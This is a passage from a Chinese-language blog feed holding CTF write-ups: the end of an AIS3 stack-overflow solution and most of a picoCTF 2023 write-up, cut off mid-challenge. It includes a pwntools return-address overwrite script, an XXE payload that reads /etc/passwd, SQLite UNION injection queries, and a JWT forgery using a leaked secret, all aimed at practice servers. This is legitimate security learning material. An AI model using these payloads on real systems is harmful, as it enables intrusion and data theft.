class="line">    <span class="built_in">sscanf</span>(buffer, <span class="string">&quot;%d&quot;</span>, &amp;user_index);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (user_index &lt;= <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Invalid index.\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> head;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (user_index == <span class="number">1</span>) &#123;</span><br><span class="line">        User *user_to_delete = head;</span><br><span class="line">        head = head-&gt;next;</span><br><span class="line">        <span class="built_in">free</span>(user_to_delete);</span><br><span class="line">        <span class="keyword">return</span> head;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    User *previous = head;</span><br><span class="line">    User *current = head-&gt;next;</span><br><span class="line">    <span class="type">int</span> count = <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (current != <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (count == user_index) &#123;</span><br><span class="line">            previous-&gt;next = current-&gt;next;</span><br><span class="line">            <span class="built_in">free</span>(current);</span><br><span class="line">            <span class="keyword">return</span> head;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        previous = current;</span><br><span class="line">        current = current-&gt;next;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;User not found.\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> head;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而<code>sscanf</code>會將buffer裡面的數字部分存到<code>user_index</code>，為了要執行到<code>ret</code>，因此我們要先給定一個假數字後接上空白，之後再接上payload，這樣可以讓<code>user_index</code>的檢查正常執行，最終跳到<code>secret_function</code>上面。</p><p>至於要蓋掉多少，可以用gdb來看看。用gef <code>pattern create</code>之後，根據前面的指示，最後在delete user的地方塞入<code>b&#39;123 &#39;</code>+pattern，可以發現<code>rsp</code>指向了<code>aaaanaaaaaaaoaaaaaaa</code>，gef顯示<code>pattern search</code>的offset是100，所以要塞入的pattern量就是100 bytes，直接寫個exploit就可以拿到shell了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">gef➤</span><br><span class="line">Enter the index of the user you want to delete: 123 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaa</span><br><span class="line">User not found.</span><br><span class="line"></span><br><span class="line">Program received signal SIGSEGV, Segmentation fault.</span><br><span class="line">0x0000000000401660 in delete_user ()</span><br><span class="line">[ Legend: Modified register | Code | Heap | Stack | String ]</span><br><span class="line">─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────</span><br><span class="line">$rax   : 0x000000004052a0  →  0x00000000333231 (&quot;123&quot;?)</span><br><span class="line">$rbx   : 0x000000004017b0  →  &lt;__libc_csu_init+0&gt; endbr64</span><br><span class="line">$rcx   : 0x007ffff7ed1077  →  0x5177fffff0003d48 (&quot;H=&quot;?)</span><br><span class="line">$rdx   : 0x0</span><br><span class="line">$rsp   : 0x007fffffffe058  →  &quot;aaaanaaaaaaaoaaaaaaa&quot;</span><br><span class="line">$rbp   : 0x6161616d61616161 (&quot;aaaamaaa&quot;?)</span><br><span class="line">$rsi   : 0x007ffff7fb0723  →  0xfb17e0000000000a (&quot;\n&quot;?)</span><br><span class="line">$rdi   : 0x007ffff7fb17e0  →  0x0000000000000000</span><br><span class="line">$rip   : 0x00000000401660  →  &lt;delete_user+271&gt; ret</span><br><span class="line">$r8    : 0x10</span><br><span class="line">$r9    : 0x0</span><br><span class="line">$r10   : 0x007ffff7f5eac0  →  0x0000000100000000</span><br><span class="line">$r11   : 0x246</span><br><span class="line">$r12   : 0x000000004011d0  →  &lt;_start+0&gt; endbr64</span><br><span class="line">$r13   : 0x007fffffffe170  →  0x0000000000000001</span><br><span class="line">$r14   : 0x0</span><br><span class="line">$r15   : 0x0</span><br><span class="line">$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]</span><br><span class="line">$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00</span><br><span class="line">─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────</span><br><span class="line">0x007fffffffe058│+0x0000: &quot;aaaanaaaaaaaoaaaaaaa&quot;         ← $rsp</span><br><span class="line">0x007fffffffe060│+0x0008: &quot;aaaaoaaaaaaa&quot;</span><br><span class="line">0x007fffffffe068│+0x0010: 0x00000061616161 (&quot;aaaa&quot;?)</span><br><span class="line">0x007fffffffe070│+0x0018: 0x007fffffffe170  →  0x0000000000000001</span><br><span class="line">0x007fffffffe078│+0x0020: 0x000000004052a0  →  0x00000000333231 (&quot;123&quot;?)</span><br><span class="line">0x007fffffffe080│+0x0028: 0x0000000000000000</span><br><span class="line">0x007fffffffe088│+0x0030: 0x007ffff7de7083  →  &lt;__libc_start_main+243&gt; mov edi, eax</span><br><span class="line">0x007fffffffe090│+0x0038: 0x007ffff7ffc620  →  0x00050a6600000000</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────</span><br><span class="line">     0x401656 &lt;delete_user+261&gt; call   0x401110 &lt;puts@plt&gt;</span><br><span class="line">     0x40165b &lt;delete_user+266&gt; mov    rax, QWORD PTR [rbp-0x78]</span><br><span class="line">     0x40165f &lt;delete_user+270&gt; leave</span><br><span class="line"> →   0x401660 &lt;delete_user+271&gt; ret</span><br><span class="line">[!] Cannot disassemble from $PC</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────</span><br><span class="line">[#0] Id 1, Name: &quot;ms&quot;, stopped 0x401660 in delete_user (), reason: SIGSEGV</span><br><span class="line">─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────</span><br><span class="line">[#0] 0x401660 → delete_user()</span><br><span class="line">──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line">gef➤  pattern search aaaanaaaaaaaoaaaaaaa</span><br><span class="line">[+] Searching for &#x27;aaaanaaaaaaaoaaaaaaa&#x27;</span><br><span class="line">[+] Found at offset 100 (big-endian search)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r=remote(<span class="string">&#x27;chals1.ais3.org&#x27;</span>,<span class="number">10003</span>)</span><br><span class="line"></span><br><span class="line">s=<span class="number">0x40131b</span></span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">b&#x27;&gt; &#x27;</span>)</span><br><span class="line">r.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">r.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">r.sendline(<span class="string">b&#x27;123&#x27;</span>)</span><br><span class="line">r.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">r.sendline(<span class="string">b&#x27;123&#x27;</span>)</span><br><span class="line">r.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">r.sendline(<span class="string">b&#x27;123&#x27;</span>)</span><br><span class="line">r.sendline(<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">r.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">r.sendline(<span class="string">b&#x27;100 &#x27;</span>+<span class="string">b&#x27;A&#x27;</span>*<span class="number">100</span>+p64(s))</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>FLAG: <code>FLAG&#123;C0n6r47ul4710n5_0n_cr4ck1n6_7h15_pr09r4m_!!_!!_!&#125;</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;今年是我打AIS3 Pre-Exam的第三年，今年的目標原本只是比去年的名次好就可以了，沒想到居然打進了前10，覺得十分神奇.w.(當然比較大的可能性是大佬都跑去出題ㄌ:P)今年解出的題目分數也都比較高，去年解的題目大部分都是降到100分XD總之很驚訝自己今年可以拿到第9名</summary>
      
    
    
    
    <category term="Computer Science" scheme="http://blog.albert-web.tw/categories/Computer-Science/"/>
    
    
    <category term="AIS3" scheme="http://blog.albert-web.tw/tags/AIS3/"/>
    
    <category term="Security" scheme="http://blog.albert-web.tw/tags/Security/"/>
    
    <category term="CTF" scheme="http://blog.albert-web.tw/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>picoCTF 2023 Write Up</title>
    <link href="http://blog.albert-web.tw/2023/03/30/picoctf-2023/"/>
    <id>http://blog.albert-web.tw/2023/03/30/picoctf-2023/</id>
    <published>2023-03-30T18:09:42.000Z</published>
    <updated>2026-04-26T11:19:12.712Z</updated>
    
    <content type="html"><![CDATA[<p>這次打picoCTF沒有升學壓力，相對2022也解了更多題(除了一些通靈題QAQ)，這次賽中解出了<strong>36/45</strong>題，最後的名次是<strong>Global 200/6925、Undergraduate Student 59/2464</strong>，算是單刷picoCTF以來最好的成績，希望明年可以破台全類別:P(但看那個Web的解題人數，整個怕爆…)，以下會整理我picoCTF 2023有解出的題目解法!。P.S.看完比賽結果我還是乖乖的去打Reverse好了.w.</p><p><img src="https://i.imgur.com/O5IpIfp.png"></p><h1 id="Web-Exploitation"><a href="#Web-Exploitation" class="headerlink" title="Web Exploitation"></a>Web Exploitation</h1><p>今年的Web一共有7題，其中的5題算是相對基本的題目，但剩下兩題加起來解題人數不到10人.w.。題目敘述會依照我認為的難度來區分顏色～</p><h2 id="findme"><a href="#findme" class="headerlink" title="findme"></a>findme</h2><div class="note success flat"><p>AUTHOR: GEOFFREY NJOGU</p><p>Description：<br>Help us test the form by submiting the username as <code>test</code> and password as <code>test!</code><br>The website running here.<br><strong>100 Points</strong></p></div><p>這題算是最簡單的題目了，連進去網站之後會發現一個登入介面，用它給我們的帳號密碼登入看看：</p><p><img src="https://i.imgur.com/MMxLkDp.png"></p><p>會發現一個像是查詢介面的東西，但它下面說他被redirected了，可以聯想他是302 Redirection的題目，用<code>F12</code>觀察一下原始碼，登入時第一個呼叫的檔案是<code>/login</code>，因此我們用<code>curl</code>來登入看看還沒redirected之前的內容。</p><p><img src="https://i.imgur.com/BX5CaE7.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ curl -d &quot;username=test&amp;&amp;password=test!&quot; http://saturn.picoctf.net:52452/login</span><br><span class="line">Found. Redirecting to /next-page/id=cGljb0NURntwcm94aWVzX2Fs</span><br></pre></td></tr></table></figure><p>發現他所指向的是<code>/next-page/id=cGljb0NURntwcm94aWVzX2Fs</code>這個頁面，那再繼續追到下一層：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$ curl http://saturn.picoctf.net:52452/next-page/id=cGljb0NURntwcm94aWVz</span><br><span class="line">X2Fs</span><br><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">    &lt;title&gt;flag&lt;/title&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">    &lt;script&gt;</span><br><span class="line">        setTimeout(function () &#123;</span><br><span class="line">           // after 2 seconds</span><br><span class="line">           window.location = &quot;/next-page/id=bF90aGVfd2F5XzAxZTc0OGRifQ==&quot;;</span><br><span class="line">        &#125;, 0.5)</span><br><span class="line">      &lt;/script&gt;</span><br><span class="line">    &lt;p&gt;&lt;/p&gt;</span><br><span class="line">&lt;/body&gt;</span><br></pre></td></tr></table></figure><p>他的下一層是<code>/next-page/id=bF90aGVfd2F5XzAxZTc0OGRifQ==</code>，而這兩段<code>id</code>很明顯是base64編碼，因此將它們拼接之後利用base64解碼即可獲得flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ echo &quot;cGljb0NURntwcm94aWVzX2FsbF90aGVfd2F5XzAxZTc0OGRifQ==&quot; | base64 -d</span><br><span class="line">picoCTF&#123;proxies_all_the_way_01e748db&#125;</span><br></pre></td></tr></table></figure><h2 id="MatchTheRegex"><a href="#MatchTheRegex" class="headerlink" title="MatchTheRegex"></a>MatchTheRegex</h2><div class="note success flat"><p>AUTHOR: SUNDAY JACOB NWANYIM</p><p>Description<br>How about trying to match a regular expression<br>The website is running here.<br><strong>100 Points</strong></p></div><p>這題進到網頁之後會看到一個像是flag checker的輸入區，亂打東西進去會<code>alert(&#39;wrong match! Try again!&#39;);</code>，看看原始碼寫了些什麼：</p><p><img src="https://i.imgur.com/uvyxpJY.png"></p><p>這一段很明顯是條件限制的要求，而<code>^p.....F!?</code>是Regex的限制條件，再看看題目，很明顯<code>picoCTF</code>符合條件，因此輸入<code>picoCTF</code>即可獲得完整flag。</p><p><img src="https://i.imgur.com/hawCWAn.png"></p><h2 id="SOAP"><a href="#SOAP" class="headerlink" title="SOAP"></a>SOAP</h2><div class="note warning flat"><p>AUTHOR: GEOFFREY NJOGU</p><p>Description<br>The web project was rushed and no security assessment was done. Can you read the <code>/etc/passwd</code> file?<br>Web Portal<br><strong>100 Points</strong></p></div><p>這題是一個XXE的題目(Hint有寫)，所以進去之後馬上找有沒有輸入的介面，可以發現他的detail前面其實都有個被hidden的input欄位，把hidden去掉之後就是一個輸入介面了。</p><p><img src="https://i.imgur.com/UJ54wAg.png"></p><p>接下來就是找XXE的植入點，很明顯Details會執行input欄位的東西，因此看看他的source code看看如何運作：</p><p><img src="https://i.imgur.com/GKymE0E.png"></p><p>這是一個產出xml的過程，而input的內容則會被送進data中。但這裡的data會被送進HTML的<code>&lt;data&gt;</code>標籤裡面，XXE需要一個前置的標籤來設定XXE環境，因此將典型的XXE payload前置塞入<code>xml</code>的變數中，input欄位輸入<code>&amp;ent;</code>即可讀取任意檔案，payload如下：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!--?xml version=&quot;1.0&quot; ?--&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">replace</span> [<span class="meta">&lt;!ENTITY <span class="keyword">ent</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///etc/passwd&quot;</span>&gt;</span> ]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">data</span>&gt;</span><span class="symbol">&amp;ent;</span><span class="tag">&lt;/<span class="name">data</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://i.imgur.com/ZZpElnF.png"></p><h2 id="More-SQLi"><a href="#More-SQLi" class="headerlink" title="More SQLi"></a>More SQLi</h2><div class="note warning flat"><p>AUTHOR: MUBARAK MIKAIL</p><p>Description<br>Can you find the flag on this website.<br>Try to find the flag here.<br><strong>200 Points</strong></p></div><p>這題很明顯是SQL Injection的題目，連進去看看他是怎麼運作的。</p><p><img src="https://i.imgur.com/C76dCI9.png"></p><p>進去就是一個SQL Injection的典型登入介面，先亂打看看他的表達式：</p><p><img src="https://i.imgur.com/omrrFOD.png"></p><p>這是一個password在前面的表達式，那我們將password加上<code>&#39;OR 1=1--</code>即可繞過條件成功登入。登入後可以看到以下介面：</p><p><img src="https://i.imgur.com/iSvnDL5.png"></p><p>看來是個第二層的SQL Injection，查表格，但它是個盲注，先用<code>UNION</code>攻擊試試看。</p><p>Payload：<code>&#39; UNION SELECT 1,2,3--</code></p><p><img src="https://i.imgur.com/19cO6eD.png"></p><p>成功了，那麼就在裡面注入SQLite的SQL Injection攻擊指令吧!首先先查詢這個database有哪些表格，並且用<code>LIMIT</code>限制輸出的index：</p><p>Payload：<code>&#39; UNION SELECT (SELECT tbl_name FROM sqlite_master WHERE type=&#39;table&#39; and tbl_name NOT like &#39;sqlite_%&#39; LIMIT 3,1),2,3--</code></p><p><img src="https://i.imgur.com/Tq6qGxX.png"></p><p>用<code>LIMIT</code>前後尋找後可以發現一個叫做<code>more_table</code>的表格，再攻擊一次看看裡面有哪些欄位：</p><p>Payload：<code>&#39; UNION SELECT (SELECT sql FROM sqlite_master WHERE type!=&#39;meta&#39; AND sql NOT NULL AND name =&#39;more_table&#39;),2,3--</code></p><p><img src="https://i.imgur.com/t9rQm6B.png"></p><p>裡面有一個叫做<code>flag</code>的欄位，用<code>SELECT</code>去讀取它即可獲得flag。</p><p>Payload：<code>&#39; UNION SELECT (SELECT flag FROM more_table),2,3--</code></p><p><img src="https://i.imgur.com/RFKWXDM.png"></p><h2 id="Java-Code-Analysis"><a href="#Java-Code-Analysis" class="headerlink" title="Java Code Analysis!?!"></a>Java Code Analysis!?!</h2><div class="note warning flat"><p>AUTHOR: NANDAN DESAI</p><p>Description<br>BookShelf Pico, my premium online book-reading service.<br>I believe that my website is super secure. I challenge you to prove me wrong by reading the ‘Flag’ book!<br>Here are the credentials to get you started:<br>Username: “user”<br>Password: “user”<br>Source code can be downloaded here.<br>Website can be accessed here!.<br><strong>300 Points</strong></p></div><p>這題又給了一個登入介面，用它給的帳號密碼登入看看。</p><p><img src="https://i.imgur.com/2M4DOZc.png"></p><p>裡面有一個叫做<code>FLAG</code>的pdf，很明顯flag應該在它裡面，但它需要Admin權限才能讀取，這時候回頭看看題目的Hint，應該是個關於JWT的題目，同時看看他給的<code>source.zip</code>，裡面也有JWT的相關JAVA設定，其中<code>SecretGenerator.java</code>裡面洩漏了JWT的secret key，表示我們可以直接攻破JWT Token來獲得Admin權限。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> io.github.nandandesai.pico.security;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> io.github.nandandesai.pico.configs.UserDataPaths;</span><br><span class="line"><span class="keyword">import</span> io.github.nandandesai.pico.utils.FileOperation;</span><br><span class="line"><span class="keyword">import</span> org.slf4j.Logger;</span><br><span class="line"><span class="keyword">import</span> org.slf4j.LoggerFactory;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Service;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.nio.charset.Charset;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SecretGenerator</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LoggerFactory.getLogger(SecretGenerator.class);</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">SERVER_SECRET_FILENAME</span> <span class="operator">=</span> <span class="string">&quot;server_secret.txt&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserDataPaths userDataPaths;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">generateRandomString</span><span class="params">(<span class="type">int</span> len)</span> &#123;</span><br><span class="line">        <span class="comment">// not so random</span></span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;1234&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    String <span class="title function_">getServerSecret</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">secret</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(FileOperation.readFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME), Charset.defaultCharset());</span><br><span class="line">            logger.info(<span class="string">&quot;Server secret successfully read from the filesystem. Using the same for this runtime.&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> secret;</span><br><span class="line">        &#125;<span class="keyword">catch</span> (IOException e)&#123;</span><br><span class="line">            logger.info(SERVER_SECRET_FILENAME+<span class="string">&quot; file doesn&#x27;t exists or something went wrong in reading that file. Generating a new secret for the server.&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">newSecret</span> <span class="operator">=</span> generateRandomString(<span class="number">32</span>);</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                FileOperation.writeFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME, newSecret.getBytes());</span><br><span class="line">            &#125; <span class="keyword">catch</span> (IOException ex) &#123;</span><br><span class="line">                ex.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line">            logger.info(<span class="string">&quot;Newly generated secret is now written to the filesystem for persistence.&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> newSecret;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>從Application中拿出現在的JWT token，丟入jwt.io看看。</p><p><img src="https://i.imgur.com/9qTevIw.png"></p><p>更改我們所需要的資訊，並且輸入secret key以完成認證。</p><p><img src="https://i.imgur.com/v8NvEv5.png"></p><p>接著將jwt與payload送回網站，重整一次看看。</p><p><img src="https://i.imgur.com/LttlOWb.png"></p><p>我們現在是Admin的角色了，但不知為何在讀取FLAG時還是失敗了，因此我轉向另一個方向，現在我們可以操控Admin Dashboard的內容，於是將user的Role也設定成Admin。</p><p><img src="https://i.imgur.com/CbRORyK.png"></p><p>這時候重新登入user一次，便能讀取FLAG獲得flag了!</p><p><img src="https://i.imgur.com/IRTBi5M.png"></p><h1 id="Cryptography"><a href="#Cryptography" class="headerlink" title="Cryptography"></a>Cryptography</h1><p>這次的Crypto是我解最少的一個類別，只解出了7題中的4題，看來密碼學實力還需要再精進&gt;&lt;但這次的密碼學簡單部分的過度通靈，我覺得是所有類別中出得最差的一個…</p><h2 id="HideToSee"><a href="#HideToSee" class="headerlink" title="HideToSee"></a>HideToSee</h2><div class="note success flat"><p>AUTHOR: SUNDAY JACOB NWANYIM</p><p>Description<br>How about some hide and seek heh?<br>Look at this image here.<br><strong>100 Points</strong></p></div><p><img src="https://i.imgur.com/0a3pTH3.jpg"></p><p>這題給了一張圖片，看來是圖片隱寫術(但怎麼會放在這裡呢??這裡是密碼學欸= =)，經過了各種嘗試我在<a href="https://futureboy.us/stegano/decinput.html">這個線上工具</a>裡面獲得了一些東西。它在這張圖片的輸出是<code>krxlXGU&#123;zgyzhs_xizxp_7142uwv9&#125;</code>，而這張圖片本身像是一個對應表，因此經過對應，並且維持原本的大小寫後即可得到flag。</p><p>P.S.這題是我覺得今年出得最爛的一題= =</p><h2 id="ReadMyCert"><a href="#ReadMyCert" class="headerlink" title="ReadMyCert"></a>ReadMyCert</h2><div class="note success flat"><p>AUTHOR: SUNDAY JACOB NWANYIM</p><p>Description<br>How about we take you on an adventure on exploring certificate signing requests<br>Take a look at this CSR file here.<br><strong>100 Points</strong></p></div><p>這題給了一個簽證檔案，馬上看看裡面寫了什麼。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$ cat readmycert.csr</span><br><span class="line">-----BEGIN CERTIFICATE REQUEST-----</span><br><span class="line">MIICpzCCAY8CAQAwPDEmMCQGA1UEAwwdcGljb0NURntyZWFkX215Y2VydF80MWQx</span><br><span class="line">Yzc0Y30xEjAQBgNVBCkMCWN0ZlBsYXllcjCCASIwDQYJKoZIhvcNAQEBBQADggEP</span><br><span class="line">ADCCAQoCggEBAOdcDj2/m1LxBrXb3ch9+2BtKd3b8NFn4USXA5JORPfeGcDdIX4V</span><br><span class="line">SiRkFrbxLOit6SZwoAyWQ7SmWJTtzADbr82qTbVktGJj9YebwK57jpMEL6BPT9YA</span><br><span class="line">cE9AGFtVJycL+IXqtlTqAGq4DjcPtAs5THgIPDJ+aTgRDHP8YItfEFs+aywLd8kS</span><br><span class="line">WSmttEjS874Tc++b9PbQ246IIrtQ701/I1NB0S/inzQvPCui+hLSHgMFkGS4leN7</span><br><span class="line">7xJORGAQueRejKuYnOs6HbAlbK0oIWKR83BxkntDBee8KhOPDynHDgYoblERl8rL</span><br><span class="line">JAfcVogKNSniIztMkzh408V9mbLHOfsr6eUCAwEAAaAmMCQGCSqGSIb3DQEJDjEX</span><br><span class="line">MBUwEwYDVR0lBAwwCgYIKwYBBQUHAwIwDQYJKoZIhvcNAQELBQADggEBAFEyhXpa</span><br><span class="line">nZz/ofFW/31ryCF3nyvNg9pOyIniu8kcpiteSaOkNm4YREBCRwj92X3Wy1MUi/7Z</span><br><span class="line">urXwR1TcRTxLdPqeVBn4nsJclAgZqMKcT0ftz5fAM/Xg5whwBHEBb1qFVN+HGhPo</span><br><span class="line">1TKfhXunICyrjNWvM+2fudM2RPsGb0sBsjLAe1/6OJK82LJBoHQ0GlCPDN1tncrl</span><br><span class="line">lpzHACCFPv7LMVF9BSkZDCQNglU1NYDDelXZezfXLbio/a1RC2k4rs+jorVmFese</span><br><span class="line">elZFzORDsCzlgD87NvBUMZWI8J5+9fZeaWAQQfhwEiZOVn8IcjLUxUraxt4rbI/h</span><br><span class="line">0EUJJuCjGyTjRpQ=</span><br><span class="line">-----END CERTIFICATE REQUEST-----</span><br></pre></td></tr></table></figure><p>這坨東西經過了base64編碼，把它解碼之後就能發現flag在裡面了。</p><p><img src="https://i.imgur.com/uF4iBXL.png"></p><h2 id="rotation"><a href="#rotation" class="headerlink" title="rotation"></a>rotation</h2><div class="note success flat"><p>AUTHOR: LOIC SHEMA</p><p>Description<br>You will find the flag after decrypting this file<br>Download the encrypted flag here.<br><strong>100 Points</strong></p></div><p>這題給了一個很像Caesar Cipher的文字檔，但事實上，它就是Caesar Cipher(._.)，Brute Force之後即可獲得flag。</p><p><img src="https://i.imgur.com/TjvPajN.png"></p><h2 id="PowerAnalysis-Warmup"><a href="#PowerAnalysis-Warmup" class="headerlink" title="PowerAnalysis: Warmup"></a>PowerAnalysis: Warmup</h2><div class="note warning flat"><p>AUTHOR: ANISH SINGHANI</p><p>Description<br>This encryption algorithm leaks a “bit” of data every time it does a computation. Use this to figure out the encryption key.<br>Download the encryption program here <code>encrypt.py</code>. Access the running server with <code>nc saturn.picoctf.net 53848</code>.<br>The flag will be of the format <code>picoCTF{&lt;encryption key&gt;}</code> where <code>&lt;encryption key&gt;</code> is 